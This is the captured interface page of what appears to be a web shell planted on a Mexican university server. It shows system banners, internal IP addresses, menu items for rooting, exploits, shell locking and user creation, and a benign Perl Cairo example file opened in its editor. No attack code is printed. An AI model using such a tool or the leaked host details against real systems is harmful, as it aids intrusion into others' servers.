Linux ns1.utparral.edu.mx 6.8.0-79-generic #79~22.04.1-Ubuntu SMP PREEMPT_DYNAMIC Fri Aug 15 16:54:53 UTC 2 x86_64
Apache/2.4.58 (Unix) OpenSSL/1.1.1w PHP/8.2.12 mod_perl/2.0.12 Perl/v5.34.1
: 10.10.1.9 | : 10.10.1.254
Cant Read [ /etc/named.conf ]
daemon
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
README
+ Create Folder
+ Create File
/
usr /
share /
doc /
libcairo-perl /
examples /
[ HOME SHELL ]
Name
Size
Permission
Action
png
[ DIR ]
drwxr-xr-x
freetype-font.pl
761
B
-rw-r--r--
glyph-text.pl
1.25
KB
-rw-r--r--
mime-unique-id.pl
6.33
KB
-rwxr-xr-x
pdf-tagged-text.pl
7.01
KB
-rwxr-xr-x
png-streams.pl
693
B
-rw-r--r--
simple.pl
1.24
KB
-rw-r--r--
subclassing.pl
1.06
KB
-rw-r--r--
twisted-text.pl
8.18
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : png-streams.pl
#!/usr/bin/perl # $Id$ use strict; use warnings; use Cairo; my $filename = $ARGV[0]; unless (-e $filename && -f $filename) { die "`$filename� doesn't seem to be a file"; } open my $rfh, '<', $filename; my $surface = Cairo::ImageSurface->create_from_png_stream (sub { my ($closure, $length) = @_; my $buffer; if ($length != sysread ($rfh, $buffer, $length)) { die 'read-error'; } return $buffer; }); warn "status: " . $surface->status; close $rfh; open my $wfh, '>', $filename . '.bak'; $surface->write_to_png_stream (sub { my ($closure, $data) = @_; if (!syswrite ($wfh, $data)) { die 'write-error'; } }); close $wfh; warn "status: " . $surface->status;
Close